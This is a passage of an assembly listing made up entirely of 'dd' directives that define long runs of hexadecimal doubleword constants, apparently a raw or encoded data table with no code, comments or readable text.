4A00CEF9h, 7676BECFh, 7CDBCB2Bh dd 0B33E3B2Eh, 0A9B89F0h, 0FFAF034Ah, 6CA28EA3h, 4B0BA500h dd 0B155688Ah, 42DBBDB8h, 0C6C14161h, 78B43730h, 0AB4481A3h dd 59B43CB2h, 7E3270D9h, 0B2C3EDACh, 0D3A5B8F3h, 0C0FF5F7Eh dd 365B73AAh, 5E11BC72h, 0F2F8F9DFh, 91411BA4h, 355DE552h dd 1BF1C6Bh, 4465F1F5h, 0BC7D9E0Fh, 2224E143h, 2F3DB08Ah dd 0F8F4A967h, 36F0FC66h, 0BD5848C0h, 0F0B4961Ch, 2739746Dh dd 154376EFh, 0E457EFF3h, 0CF4AF168h, 4B94DAE0h, 0BDB8F2FFh dd 0AE364372h, 0F8D37CEFh, 4A351CA1h, 9D7D2473h, 6BE944D2h dd 5EC6DBEEh, 0F725B58Bh, 43F125A3h, 4FB7DDDFh, 72E0701Dh dd 381675BDh, 50057BD1h, 4485685h, 711E686Bh, 713432D3h dd 8DD35EDFh, 27D4346Dh, 0F5953C5h, 376B201Ch, 28BE07B5h dd 0B5F6E778h, 85F9F773h, 2609F078h, 0F1C3452Bh, 767A1E08h dd 1D7AB25Ch, 3F65EFEAh, 0EF81E8D0h, 0AF75EFF3h, 8BD2B9DFh dd 6AE06E77h, 5BDE1A9Ch, 15A32CBAh, 7EE4A863h, 0D719D1D6h dd 7452FCA3h, 74EB3A68h, 0FB2036C1h, 0DC9ECB46h, 63ED83A2h dd 3D0D7E74h, 5B8AE311h, 0A5A3275Bh, 147DB176h, 0E94F7655h dd 2E79B77Ah, 4A5516DBh, 0EBEE59E5h, 85D6D6A8h, 2EDE28B5h dd 743874DBh, 0C02DE57Dh, 9CD89A71h, 37B1BB44h, 87B7D5BEh dd 3A1D164Dh, 0CED2AC5Fh, 0CD1CBED3h, 0B0C06047h, 0D9F53216h dd 24B84A43h, 9D6FA2CDh, 0F2CEADADh, 9EAE54D5h, 8F3B8549h dd 0CCCD040Eh, 0D27AE2E2h, 4FE2BC3Ch, 0FC0CBD67h, 13065DB5h dd 0AFBD7C1Eh, 76380B45h, 0F3536AF8h, 2B97E7C6h, 0FD7ADC85h dd 4EAF76E8h, 0C94CE890h, 0B824F61Dh, 9B0DF38h, 69676E16h dd 698F6F02h, 6D7AA273h, 32E5CCE8h, 0BF4B371Ch, 8D764017h dd 3F63F50Ah, 0D5A2910Fh, 6DE6F2ACh, 0C87CDD30h, 1B9EDD0Dh dd 0EDD4842Fh, 397EADB4h, 9AEC0FAAh, 0C1E4A675h, 465351B8h dd 9263D5E7h, 0B4A8C0B8h, 0F8A069DAh, 4AED06AAh, 81A7E4C4h dd 36110994h, 0B7FB75ECh, 0FC1F02F9h, 3F78A5D5h, 6B45CE3Ah dd 0F7A1B6Ah, 9C87981Eh, 6D1E3BFCh, 0EB52ACD0h, 41665DF5h dd 8BD3FC64h, 0E767BD23h, 98CA5BD1h, 228373DCh, 0E8E14063h dd 0CB5EAC95h, 719C878Ah, 27EDE839h, 0EF16EFC4h, 114E9DCEh dd 0B2A049DBh, 0DFC77CA5h dd 0FC3E7E36h, 68F0185Fh, 0A0D71C07h, 0DF824620h, 3E7BBE4Ah dd 0F1629D02h, 0CA203785h, 0F4372AC5h, 3E0B1443h, 95ABA328h dd 3E9516F4h, 20935C92h, 5B9C70AAh, 3A445F7Dh, 39B2DA1h dd 0DB5A3EAAh, 0E6537073h, 6E6BA2EDh, 4CA14A05h, 8206D00Dh dd 0A9A40969h, 0FEB57AA1h, 0BA3800B5h, 2156FA45h, 1FED8046h dd 77849FCFh, 73C27F73h, 0D3546643h, 0A6B39A36h, 0EA32FD18h dd 3408BF03h, 9F71DBDFh, 95BB1BE8h, 5BEEA454h, 46049744h dd 0B2F86383h, 0F13B46D8h, 441DAF20h, 0B8AFD068h, 5E82D08Dh dd 0DBA7985Bh, 0C8D88DFCh, 0BDD76D12h, 0A75049BBh, 762C5AC0h dd 22C704F6h, 4DD3CDF0h, 4BC60092h, 0D7ED86CDh, 0F0EF70A7h dd 43E2B601h, 9CB443AFh, 0F069B2D8h, 371F2385h, 0EAAD3B46h dd 0B025FB3Dh, 892ADDBh, 69B78EF2h, 325681DAh, 45517CF9h dd 0C707A8A8h, 24F66DADh, 1A8B2C27h, 0B2A296ABh, 80AB73C4h dd 94B0399Ah, 1F301EF3h, 0A24AA12Ah, 556102F9h, 66876F7h dd 551A748Bh, 2B071037h, 0F2D94740h, 0D4E84394h, 0E829BFD6h dd 0B46F2D68h, 0E61A16EBh, 609B8DA5h, 8C8F36D1h, 0B99A06FFh dd 77B4B8A3h, 7A2F472Fh, 0DACF6ABDh, 9F43D76Eh, 0A0177A38h dd 56302A7h, 503BC150h, 933DF61Bh, 459A7BB1h, 0EAAB5F0Fh dd 0DAB7F7BAh, 67C2EF76h, 5F2C5542h, 0A56897DAh, 66BCE6C1h dd 4F9C6D41h, 2294A5D1h, 0C8C0C521h, 0D3EFD6ABh, 72762F47h dd 183D1540h, 3421A93Fh, 509EA259h, 9BB448BFh, 0AC148E9h dd 0FD57146Bh, 0D25A3BF3h, 4F1B4FE2h, 37CF292Bh, 0F9677EFDh dd 7E0FAA0Ah, 6BB8C1Bh, 5E966C0Ch, 0E29AD646h, 1638E3ABh dd 6834F588h, 5C17EAAFh, 40DF08DCh, 0FF75BB4h, 7D2BA2FFh dd 0F9AA1B22h, 0EC06DBADh, 52B200AAh, 552D28A2h, 0A3737F2Fh dd 4045206Eh, 0F51DA9BDh, 0C3F1BEAAh, 105BEDA5h, 0F81FCEDEh dd 0F259438h, 977BF86Dh, 8A5BFAD0h, 29EA9CE7h, 0AB316EA1h dd 9F2FE2D9h, 6F3FCD64h, 99CF270Eh, 0BF239EFCh, 73B8F52h dd 0B09797E2h, 60F5FE1Dh, 5F17FD5Bh, 6A8C3CCh, 0FD66E24Fh dd 0FB3AAB80h, 0CD89547Eh, 4F939057h, 6618F5F5h, 0BF5CB44Dh dd 9F95145Ah, 0ADB5511Eh, 1C2DF6B2h, 0AB43999Eh, 0ACE929AAh dd 1C27C8A8h, 4E55A362h, 6F9CFEC4h, 0D7CD8BB1h, 2104899Dh dd 90C0F5Eh, 0CBB58EDCh, 0D67D323Ah, 0DE17855Eh, 0F6E7500h dd 28F41D66h, 0AB2FB2ABh, 43D93777h, 14F0CC6Fh, 92D9E7E0h dd 0AE66B297h, 2F86FE42h, 0A6F6443Bh, 0F204A67Dh, 25D286D2h dd 0FE555056h, 8160F850h, 42D12792h, 0EEDD4026h, 0AA61F5CDh dd 0D7BC477Dh, 0AAAAA972h, 8F2EDAF0h, 72F7E300h, 0B7E7B358h dd 0F312AD4h, 9D0FB00h, 0AEFBEAAEh, 8397AE28h, 8DC8DE5Ah dd 333ACA3Ch, 0E2B181F4h, 62E0F3BFh, 0ABB51102h, 5FE5539h dd 0CF14C765h, 3E0DFE81h, 0DDDBB382h, 0EF4BA037h, 0DB3DE40Bh dd 0AABF2466h, 0F9D4F6BDh, 93B9D617h, 5737AB5Ch, 0B998CC59h dd 38DF1817h, 0B9387620h, 0B73DB4BDh, 0B14B9625h, 7E8C733Eh dd 0FB2559DEh, 70D72EEh, 0A85A3DFCh, 0A94DCD56h, 0A76D74C6h dd 1F8CA84Bh, 588CCAE0h, 7F7ABC2Eh, 5DF656BBh, 0DD6E1D4Dh dd 0D4FBBEBFh, 6C5D9249h, 898F00Bh, 63E0A244h, 0B58DB88Dh dd 0AE3FCF88h, 65A3BB3Ah, 0A10EFF1Bh, 86D907F3h, 81B651E4h dd 2B3AB8C5h, 0E28B3485h, 0FDB41C74h, 0F8A2357h, 0E1A8CED8h dd 2E110700h, 8302E5Bh, 24F188E3h, 86B36C8Eh, 4C5FAC2Eh dd 7B73BC6h, 0DF6B805Bh, 0AFA4F078h, 7163FEB3h, 1D4D14B4h dd 0B9A80C62h, 959B81B7h, 82748D80h, 0D7764E1Eh, 1041188Fh dd 0D4C6BF51h, 3787E1B0h, 8AF20985h, 57BCACDFh, 0DD45038Fh dd 0F05F00D3h, 49D36C53h, 12F4383h, 0ED86664Dh, 9AA32AC5h dd 0EDEEAFE1h, 5D2E6FEEh, 821F81BBh, 385862E0h, 0B987702Fh dd 28F3F083h, 0E3649D2Bh, 0BE87E367h, 0FDC03818h, 0CA7CBC21h dd 0FADB5E1Bh, 0C2CF1D52h, 49BEFA04h, 0BA938738h, 339F68F6h dd 2BE74B68h, 0F8FC1F54h, 74087A79h, 9633C7D3h, 29BB1600h dd 0D9FAE3D2h, 0DB2ACD97h, 573002BBh, 3556D528h, 6AF8B363h dd 7C3EE729h, 0D3B5E2DCh, 0D7333929h, 0A3D3954Ah, 0D17DAED6h dd 616B8104h, 0B223E6A8h, 0F0784E29h, 0DEAFD1FEh, 3F02AF50h dd 22A59677h, 0ACC8464Dh, 0A07D7236h, 0F6DE1D8Dh, 4185FC5Dh dd 92D0E29Bh, 0F4A2F6C5h, 1F837E7Dh, 0A16F2AF3h, 45FE90D4h dd 0B17D6ABDh, 0A3FB8FE8h, 0AFCFD7F2h, 0D70FC1C6h, 55F9069Ch dd 28245620h, 8FCDC617h, 0C1DE7EE0h, 6FBBF7ADh, 0D7EFB0C8h dd 0B705A281h, 0FA80775Fh, 5DAD3430h, 0ED6851FDh, 1D0FBF01h dd 0DC80B518h, 4B45FE90h, 4FBB5853h, 0BCCAD2AFh, 7DB53ECBh dd 974AFD19h, 4343768Dh, 6E84E2AFh, 9C085E75h, 2E1F8985h dd 0CF9C893Ah, 5E5E35BEh, 0D04AF507h, 0B3D41532h, 2D3E094Dh dd 0E2D39685h, 75F12B1Dh, 1B028A67h, 0E77164B4h, 0A9DA2455h dd 0AB72F801h, 7C3910FCh, 3F1A24A6h, 35C91FEFh, 0B9BC094Ch dd 97427D3Fh, 0B4462A41h, 6FD336D0h, 879A58AFh, 1CB5E157h dd 262E6455h, 836FE25Bh, 0F48257B9h, 30585297h, 17E9A6Eh dd 0A21913C6h, 4C9D64CBh, 57BB39F1h, 0EC422CFFh, 0AB44CC88h dd 97E8712Ah, 56903C0Fh, 5A766A49h, 9C87E0BFh, 0A890DA1h dd 5545AB6Dh, 4C0F8F3h, 11AEDDF8h, 107FD91Ah, 0C2D016A7h dd 0E02BEB8h, 5F078113h, 0A870F03Ch, 2A0622E3h, 0EF552EBAh dd 98982C3h, 24627FBEh, 0D6CACE7Eh, 9EF00252h, 2B23546Ch dd 635BDB94h, 0EAF4BE28h, 0D7F945D5h, 227405DAh, 8E3D1EC3h dd 0CA957959h, 0BF01B45Ah, 0DCD0A47Bh, 32F1C5D3h, 14DCF3B7h dd 0E5A3C984h, 106C6529h, 12222F5Dh, 368FF2D3h, 0ADF5D260h dd 78DD0F56h, 0EF1EB840h, 0DEEACAABh, 4B9E8E19h, 181B80D7h dd 0CB3C02BFh, 1F0E3391h, 30E00625h, 0A2B70577h, 339A4166h dd 0FCC09727h, 6604E80Ah, 6FF40917h, 0A02D19BBh, 0D0282302h dd 7B8A003Bh, 0A1550637h, 98E34032h, 0E1302729h, 98EA3122h dd 11873027h, 0B8A202FAh, 3482708Dh, 37A7E310h, 68A1A3A8h dd 0C71E8A12h, 6A2989AAh, 31C68C31h, 0A3142A19h, 634F9903h dd 542A9BCCh, 58E8F03Dh, 0B8015EF7h, 0ED2F3597h, 0E6BC119Fh dd 1DDF1BC9h, 9F60CB5Dh, 80AA7E77h, 2895BD66h, 4F9B569Bh dd 732658B9h, 1EC49033h, 7E3CD288h, 991F26A7h, 0A573C763h dd 2C736F15h, 938C5415h, 0B7DD986Bh, 1C5F95E9h, 6B3B3601h dd 5EAE9D2Fh, 16DDDE21h, 0BBFE75EBh, 54C04E3Dh, 10EA0D2Eh dd 0F0FDCBDFh, 98BF0785h, 1DC094ACh, 0D36BF0C8h, 1F6AB4BBh dd 0D6202E7Ch, 30ABB11Dh, 0EB573653h, 3D466874h, 0D562D5A6h dd 0AEC42F02h, 5739B686h, 3EC4767Eh, 0F2FDBB62h, 2A905F02h dd 0FC51CA84h, 66734A97h, 0B23568BFh, 0D057784Dh, 0B3820DD2h dd 0CD2F68C7h, 2D15490Dh, 0B772FB23h, 9BDF0FCBh, 3C5FCD1Ah dd 0B4947491h, 0BC7DFE0Fh, 21CAAD3h, 25C37D90h, 544E6D8Fh dd 0DD1BA1D2h, 5D1F1BF8h, 0BA8A4E4Ah, 0E4EAE5C3h, 6C40B2D1h dd 1E5F4A85h, 35FAD015h, 0E8565DA9h, 0E075DFDFh, 0FECBF8DAh dd 0DA8B412Ah, 4DB7F7AEh, 76FA2990h, 0EDC95160h, 0AEC683DFh dd 3725C4BBh, 0D7897887h, 0E020FE8Bh, 0AE1F8F6Dh, 232BEA97h dd 0E337B981h, 0E1D7333Bh, 8797F5Ch, 0EAF79DA5h, 840EF7F8h dd 73EFA0A6h, 6397CB9Bh, 9C5E56F9h, 3B946D77h, 272AD566h dd 0C3A148D3h, 81846B31h dd 64EE2B1Eh, 0D56F754Fh, 0FE12DA78h, 7E1AC11Bh, 750ADBA3h dd 27A9DA35h, 0B2587769h, 0FC873595h, 48972F83h, 0C355A7EFh dd 0C79E6652h, 1F8998F5h, 0DF6136D4h, 6079533Ah, 0CD22DAABh dd 6D1B3F1Eh, 4B130274h, 72BA0235h, 0DDFDCF1h, 47F4EBFCh dd 8D55E46h, 0F3E0D7D1h, 2F6E7F32h, 17175A44h, 2BF8D886h dd 0DFC41FFBh, 29A46FA2h, 175B8100h, 8F74E1F5h, 0D2FF2A6Eh dd 5A1DE581h, 0F5437BA0h, 0A0D96376h, 0BF6EA711h, 759F6BC4h dd 0F1438B6Bh, 0DA0DF3FAh, 25F11125h, 0EAFC82C7h, 783F8E87h dd 0BAD1D48Fh, 0A950DDFBh, 1BA1CF3Eh, 6DA763B2h, 8F3BD2C9h dd 0F92C89DFh, 8CAE9A15h, 57F0EDF0h, 0DD9DE998h, 242C0877h dd 0B97F771h, 54B9B38Bh, 37A7DBB5h, 5FB465BAh, 335D9BE1h dd 0C9E7A5F7h, 2AC5FF15h, 0F9DD90A2h, 5E4E562Fh, 0B0AF02A4h dd 0CCC626BBh, 0F4ABDA33h, 5C7DE720h, 34ADAF93h, 83FC64A5h dd 0AFC8A704h, 0FF1974CCh, 8C2E7889h, 0D8CF70DAh, 50FD2F19h dd 37B2DEFCh, 0C73E9A74h, 0C41BB786h, 17F118BAh, 1AE196B0h dd 4821351Fh, 447CCE2Ah, 0DE0AAFE5h, 618523F0h, 6F46EFC1h dd 8E62E37Eh, 0A0205A06h, 0AB5A3B57h, 0F2943438h, 0DB4B1E2Fh dd 7C5FFD7Dh, 0DAC1A0A9h, 77B36EA8h, 644B23Bh, 3E616E3Dh dd 1C3A6DEh, 0EC9F969Ah, 0A0065F79h, 5ACFC2F8h, 0DC8EA89Ch dd 2EC90790h, 0BE228312h, 689CB12Ah, 0C623EC92h, 0CEA6CA02h dd 6EEB90ABh, 79A185FCh, 434015D6h, 0CBD2D845h, 5B806ED2h dd 0E76FC016h, 5F689207h, 81E7C97Ah, 77B74488h, 0CD2333C6h dd 15096876h, 0FEF96969h, 9D8A2ED3h, 5C187ECBh, 0A1F19D31h dd 8EDD77D4h, 0B3C871CCh, 6C2BCE05h, 0FA2AEBADh, 12010EC6h dd 318BFAABh, 0C293F68Dh, 68F03ADCh, 0EC497F8Ch, 0F95162Bh dd 677F0045h, 0F31E5F45h, 66832EC7h, 0E8AA5B5Ah, 0BC339557h dd 7D1F8A2h, 7EEC6C3Ah, 717EABE8h, 90DF1923h, 0ED2E5990h dd 0CF7454C7h, 9D59619Bh, 0B90227EBh, 4661A308h, 8A0F74A9h dd 57375AFFh, 0F50F894h, 2FE35B79h, 6D95B79Ch, 33EF38B6h dd 91913065h, 0F695DD3Fh, 7F57ED8Eh, 7934C551h, 1E252ABFh dd 0C7FB44A6h, 0AFD0F2BAh, 1A35CE12h, 8DC53A2Ah, 5F9BC0B7h dd 0F825AF3Bh, 5E677079h, 0BBDF11FCh, 8D79DF8Fh, 1383D9DDh dd 5268D25Fh, 2BF03B17h, 0C49186D5h, 21B3F32h, 5238E541h dd 905F4E74h, 73D9B595h, 0EDCC0617h, 897132D0h, 0D2BEFF9Ch dd 1F0A603Fh, 21B3C6D4h, 0A928CAF8h, 78CEE6DDh, 53B47A49h dd 6CA391ADh, 34A577A6h, 101D7975h, 511A576Dh, 567E146Fh dd 6C3D2E5Eh, 3DD5A44Eh, 44111B7Fh, 2FE0F962h, 8A4D9EAEh dd 0D218B9F4h, 0ED56CE89h, 6642374Bh, 81B57C40h, 77B598A8h dd 0D42B2C98h, 6FCDC3F0h, 75689B7Dh, 4FF7EDE2h, 0BC607975h dd 0C9C53DCh, 5FE7979Ah, 0EBF185FFh, 754CD762h, 60E0759Dh dd 0C3F1872Ah, 0D1F43F69h, 2C04B8B7h, 5866EEC8h, 0B03C7E5Ch dd 0DA96EB91h, 0C5FA7D83h, 8D81844Ah, 0E77CD6AEh, 0A065C8AAh dd 1FA92010h, 0BCFD12BEh, 3D63FC41h, 8BF27B6Bh, 4C3B92C0h dd 10F17D6Ah, 3065A3B4h, 0FB3C3696h, 0D981FBC6h, 0FB17C367h dd 0A2916DE8h, 216EF892h, 52AA48A4h, 130B1893h, 0BFD4890Fh dd 0C073FF4Ah, 3036C14Fh, 342BC054h, 436DC6EDh, 0FCBECEAh dd 53F9EEA3h, 0DB80C3E5h, 0AF8285F9h, 0FAE9BEB2h, 0CC5D03E0h dd 0B288528Bh, 55DA2EB2h, 721AC1F8h, 20E1E9ECh, 53665B22h dd 0EF685DD0h, 1D4AB298h, 13BA03E6h, 7FB2B434h, 0A3C990F2h dd 0FBE68F78h, 0DD8AC282h, 61DA7F79h, 5976D160h, 0CE74E119h dd 1D5B91F1h, 2ADC2F9Eh, 0FB50211Dh, 0C2E10E7Ch, 0AC18D82Ch dd 0FA64AB95h, 97FA2C08h, 0FD7ED2D0h, 0D68E3B68h, 99423357h dd 7114E443h, 0AB376CA1h, 7F4552E9h, 1BB997F0h, 1CF2F8AFh dd 0E06127D8h, 5B38E3E1h, 0D23A8359h, 1BAF3A31h, 0E95CF348h dd 99DF89Ah, 0B7A22E8Fh, 0E7365C0Dh, 9D13E287h, 0E19CF0D5h dd 51616041h, 0D9CB8CFBh, 0EAE3152Ch, 0C0F8FB9Bh, 0FEEDD8BFh dd 0DB59C4D6h, 0FE0BFFB7h, 7C325695h, 0A7E958FFh, 7D67A02Bh dd 0C8954C55h, 0D145383Eh, 87C0409h, 0DD58B50Ah, 0DAAD128Eh dd 24EAB0BBh, 8A0542F7h, 0BDCEA1C3h, 0E2C27D1Eh, 99242ABFh dd 2F75A94Bh, 448A4760h, 0BB35A1E0h, 0A06E3874h, 242D7AF9h dd 57710EA4h, 6396A8C7h, 1DA20B17h, 0E24FF7EBh, 93E061ADh dd 0BD296027h, 41513B53h, 0B7B52DE8h, 0AFE97E5h, 64D9E3D5h dd 0ECF53713h, 15FAC127h, 7175F4CCh, 0E687C526h, 89547F6Fh dd 53050E1Dh, 0A3236CD5h, 7B9A24F7h, 0D87B507Fh, 97FFD7Ah dd 6F5BCD86h, 0AF8F6133h, 0AA42E098h, 1FD3A965h, 280A6BBCh dd 6A103723h, 6F8BAC46h, 17711140h, 5CD6F351h, 8952257Dh dd 0D78F677Ch, 1E65FC92h, 0CF41C1Eh, 6E37394Ah, 233B5003h dd 0DB46E9DEh, 446ECFBFh, 3DF82E9h, 0E2B12C2Ah, 0FCB96AB9h dd 6E05379Bh, 4568C4D4h, 71D43560h, 0B29F39C5h, 9A2FC082h dd 6DFF5C8Eh, 9782A96h, 863B696Fh, 0C501E603h, 63409284h dd 0CEDE43C1h, 0E5464087h, 75B6704Ah, 8087BA8h, 84398529h dd 0A07F7275h, 5CDD756Ch, 0AB320D55h, 1B476E2Eh, 367B6DA3h dd 80968AAAh, 0BE6837F4h, 93C7766Fh, 6202BD79h, 7A5AE9B0h dd 21782AC9h, 7F3F5BA5h, 9193E187h, 88427A56h, 8FDC8C3Dh dd 0FC511C0Fh, 44A4EAF3h, 8C1E6CABh, 749A4908h, 4060789Dh dd 8FF01C3Fh, 839CBCE1h, 8103F183h, 2E45B596h, 0EB87DDA1h dd 0CAB5C172h, 0E4855AC0h, 0BD98693Bh, 1B924AE2h, 0F1288770h dd 0AFC5FE1Eh, 693EBF4Ch, 0BC1B74A7h, 0D2BB0B7Bh, 251C0B31h dd 0DEB9FDBDh, 0B9CDF199h, 0EFE01F34h, 7A9AA6B9h, 13A9BDCAh dd 1950D854h, 0DAD10A7h, 289BEBF1h, 0DC9AB07Dh, 2190FC15h dd 0CA4C4513h, 51A36912h, 8AEB2537h, 1A9A731Bh, 67740C6Eh dd 45D40577h, 90AC0FFAh, 1354FAF1h, 0C0B4AD9Ah, 0D18FEBFEh dd 702D2564h, 289B480Fh, 0DF858070h, 0A5BDB415h, 71A9477Eh dd 7E70B521h, 3B9F4354h, 57625DF5h, 5CA245FCh, 3597C784h dd 0EA3C048Ah, 83056ADDh, 72DC9B56h, 0BBCD2CADh, 0CAD94759h dd 6676F1D1h, 0C7C2A7D4h, 27404BBDh, 3E6C837Dh, 2C955FD7h dd 0EFA1B64Ch, 6CEA25BCh, 3CA77DEh, 3C4069Ch, 0ED0306A7h dd 18B8C28h, 5A479D4Bh, 46A7898Eh, 0EAD2975Bh, 0A6DAA4A7h dd 0EE8DDFA9h, 0F07DEEA2h, 0F4AE6206h, 0BDB17D25h, 0DF170919h dd 0D5B92CE0h, 0C05A275Ah, 589E2EB6h, 18533696h, 263D10C3h dd 0CEDC0EFDh, 71707C0Fh, 0CBC53C89h, 561E2881h, 0A3096957h dd 6BA6F19Ah, 5CD39DF8h, 153F168Bh, 0F44C73F7h, 0D016A726h dd 52629410h, 0AAE8AE8Bh, 7672B8BAh, 0C02D813Bh, 43F05130h dd 0CD54129Fh, 1DDB17FCh, 422E7BF5h, 9B938F5Ah, 0B44D6FB5h dd 4873BC40h, 47F8523Ch, 117F0724h, 0F7936E1Ah, 3E37C38Bh dd 0B6EDC37Eh, 27AFE53Ah, 55958ED0h, 0BB6CD40h, 517C8AE9h dd 0C5E1E8F7h, 79E66301h, 0CF388DCAh, 0B6822F84h, 0BF43253h dd 983B942Dh, 553A917Bh, 7CFC2361h, 6FD05756h, 22C6AE4Dh dd 746FE4B4h, 252B7F09h, 1AB35DE1h, 41088D97h, 76B95BC5h dd 0CA0D5A27h, 0FE087F79h, 0DC34BE20h, 9BAC26FAh, 7EE75CBAh dd 9899EF69h, 0BC1A2EBEh, 0BB03F3F6h, 79FDB6D0h, 2DE0641Ch dd 2CB8F07Bh, 44E669F8h, 5D4473E3h, 7ECD77B8h, 45FD3F6Ch dd 453326D9h, 0C8A1E189h dd 0A1C95A16h, 0C77F2520h, 3384B9C6h, 5F135A23h, 6881CF95h dd 0F3E5A139h, 0D72D5B93h, 0C1564F30h, 13DAC3EDh, 86DE9C6Fh dd 0FFA575AAh, 8EB6DFEBh, 68CE4A24h, 33550C69h, 66EEC17Dh dd 72F8C3CCh, 0F56A2758h, 8A5F312Dh, 951EAD1Bh, 0FD1FF346h dd 7E9EBD98h, 1CE8E783h, 98F504Fh, 37005B91h, 0ECA377FBh dd 581F7DABh, 0D75A9B25h, 0ACB2DA22h, 507E2611h, 0D1ECC5F9h dd 0CE355856h, 5F24CD09h, 834191FBh, 6A81D77h, 0BC8048F4h dd 55EA36DCh, 0A0C845F8h, 734F2AFDh, 4E9FD912h, 0BF31744Ch dd 0ABAE1223h, 0D88B29D2h, 8A85D6DAh, 5C02BDDBh, 0D25B19D0h dd 4E6CF903h, 0A7F093EEh, 8BFA2998h, 0CE5FF798h, 60BB089h dd 1A417F1Bh, 6065CF78h, 4FF82150h, 17B5D337h, 726FF47Fh dd 6AEF40Dh, 48A946C8h, 107E7DF8h, 7E370EB9h, 0D644FFC5h dd 0F9D235CEh, 0DBED45E0h, 0F963F57Bh, 44131160h, 0FCB5BD15h dd 0EC419B38h, 0E7D3AA33h, 0FD925C6Eh, 1AEA3B67h, 23E0F0A1h dd 6D270B2Eh, 86B3F556h, 0F5ACAA6Fh, 27F06BB8h, 24653B26h dd 356BF46Bh, 7C762A43h, 193F462Eh, 0ABD3F2BEh, 0B6A2DE1Eh dd 3B57112Eh, 7A36BF05h, 68FB69E3h, 0E503F391h, 8CC3482Ch dd 0BC1E0478h, 929FEC8h, 75CDE75Ah, 9612986Eh, 0A237E251h dd 5DC5CC2Ah, 768E77B2h, 0B34270BEh, 0E5F43870h, 0FC6415E4h dd 6DE688Eh, 622A7D04h, 383E2852h, 0EE0834D3h, 3FDF3EEh dd 61F4C02Dh, 0D956CC62h, 0E0CFCFE3h, 0FC707D80h, 62D1B39Ah dd 0D3AFE33Bh, 0D0CFF5FAh, 80EBB887h, 0BA42A59Ch, 49348450h dd 0E8F3D4C9h, 3792AAEDh, 0FA27F278h, 65B0BD78h, 27551959h dd 0FAEDC9A7h, 70575226h, 68F325D9h, 1392FB7Eh, 0E3B811DBh dd 0FBA80AEDh, 4E848EA7h, 0F6AFCB20h, 10F734A2h, 89EFF981h dd 6078FB4h, 94F1A86Dh, 0DD9A1B71h, 0F3937D8Dh, 0A2CD898Fh dd 579F8392h, 0AC72FBC4h, 0D8EBCEE0h, 79DD42F0h, 358693BAh dd 0EDFF6E55h, 0F1BDB3CDh, 664AB33Fh, 7E367E49h, 688401CEh dd 0FCD352A6h, 0C9F49E4Dh, 0BBBE1D66h, 98D3C0F3h, 0C0968EA6h dd 8DAA0F83h, 0FDB6E197h, 0CC56558Dh, 0AE5C5D56h, 0E8EF2768h dd 0E3C1E55h, 111B6930h, 0C0F7EB77h, 8D3609BDh, 93FCF75Ch dd 0F9DC9DDEh, 0AF07D1CFh, 0FBEFB0E0h, 51C30A85h, 71265EFFh dd 0C5597994h, 3A3C893Ah, 0E4E06D0h, 0BFBF4A77h, 0EB722EAAh dd 0ABB53B2Dh, 0D77C9D71h, 95A72511h, 5BC9F37Fh, 1B538FC6h dd 0D75FBD58h, 0B9FB5A4Eh, 0D191EE9Bh, 0C3B1875Bh, 0D131A5CEh dd 0CC9F4DE4h, 61DABF0h, 95B39F29h, 96751751h, 0A5B6DC3Ch dd 0E80CEC3Eh, 4C56AC02h, 0BBFCF83Eh, 0FF15CE6Bh, 5F43B45Dh dd 0FBE46E8Bh, 0CC265BC7h, 0D988ABA4h, 85F88679h, 0FB13269Ch dd 4B1B6913h, 3A27FEEh, 0D5D79A35h, 1DEF86D1h, 75C127E5h dd 0B077BF54h, 0A74811B4h, 5EA398DDh, 2AC5D2C1h, 213CFF35h dd 6E3BC93Ch, 8D57E19h, 30BA8526h, 0E7CC1436h, 4FFEA7D2h dd 281A9F99h, 8F0D58BFh, 2A7517F1h, 492B4AB8h, 349CA574h dd 0BC6EED6Ch, 0FABA1487h, 71F5A2AFh, 7EA6AFC0h, 969FE10Fh dd 0C06F6342h, 52A5D0B8h, 0EE5A3932h, 0D0ABEB6Dh, 17975B93h dd 9454D960h, 3909CEE7h, 5067817Bh, 4BCA5CF7h, 0B533EAC1h dd 2551E19Dh, 296E979Ah, 0A15D7F33h, 0C2D68E3Dh, 6A3BD173h dd 0EE92C3F0h, 47FCCB00h, 4EB5A8B5h, 0F37DB050h, 1E7BF1CBh dd 2A42DA10h, 167A0668h, 131F6EE7h, 3D2ED5EEh, 9A8F06Ch dd 715628B0h, 3D5DAA94h, 4514BF3Ah, 7BBAE44Ch, 4B9BE0D0h dd 24306B44h, 520A187Dh, 0E9C62889h, 0D84D2C0Ch, 0F471EC0Fh dd 37389C4h, 58DC97ABh, 673EBB7Ch, 0F72EBE96h, 0D60957B4h dd 4CAD55D8h, 63BA5327h, 8EA55BC5h, 0CDA67C6Ah, 0F294C19Bh dd 4496B81Bh, 7CA5DE96h, 4D8BBCFAh, 0F54AD1E1h, 0B7E8E58Fh dd 0A58DE6B5h, 28A05BBEh, 8B9149ADh, 0EF09B5EDh, 0E0EB21C1h dd 0F340B03Eh, 0FB66A367h, 0B02FE3F3h, 0C06BFAE9h, 0DF3C167Ah dd 8A6F1D7Eh, 85C3C384h, 765A3FD0h, 18AE81C0h, 86FCC48Fh dd 0F225FBA3h, 7F253E4Ah, 0E7BB2E1Ah, 1C0DA456h, 0F3FD178Bh dd 64A6B32Bh, 71CEFA28h, 9CA2B3E2h, 395CDF05h, 429B9F3Dh dd 50188FA9h, 0A317C66Bh, 7AAA1A4Eh, 9D28B6F5h, 9C36113Ah dd 1954CFFBh, 0BFCBA01h, 375BA538h, 0FAB5426Ah, 0E10BF870h dd 8053FD53h, 8D14EE4Dh, 6704345Dh, 7BF8FBA2h, 617E6EA9h dd 2CDAAB93h, 0A9F65D8h, 5D9F52E0h, 0B44666F6h, 0DCDBB049h dd 0D1BAD164h, 86564C5h, 0A365FE11h, 0CC7DCF69h, 68F25005h dd 0F6D1259h, 0F4EDA923h, 62FBB899h, 4707D24Bh, 0A7048F72h dd 0C0E56C3Bh, 0C1B6945Fh, 7905FF14h, 0BB6CE46Fh, 0B8C5E76Eh dd 0C3B7BBC6h, 36113E62h, 0F5DAA3BFh, 8C0F25Ah, 0B6B850DDh dd 0B0E04A6h, 0C2570B73h, 9EFB6B31h, 2BBD2C8Bh, 0A02244C5h dd 8210E78Dh, 0E6D901F7h, 468CADE2h, 283D9B6Ah, 3FDFAD81h dd 0E5617836h, 8FB19E12h, 0AF61E66Fh, 40A8CD76h, 0BE8AA0EBh dd 6F326FFCh, 529EAF12h, 0A83AC09Bh, 0FBB988B6h, 7D7C1FBCh dd 7FA716A1h, 21CEC997h, 4276051Fh, 8E7E57EEh, 1DDD795h dd 0FE6FC698h, 4D0DDED1h, 0F57D17DBh, 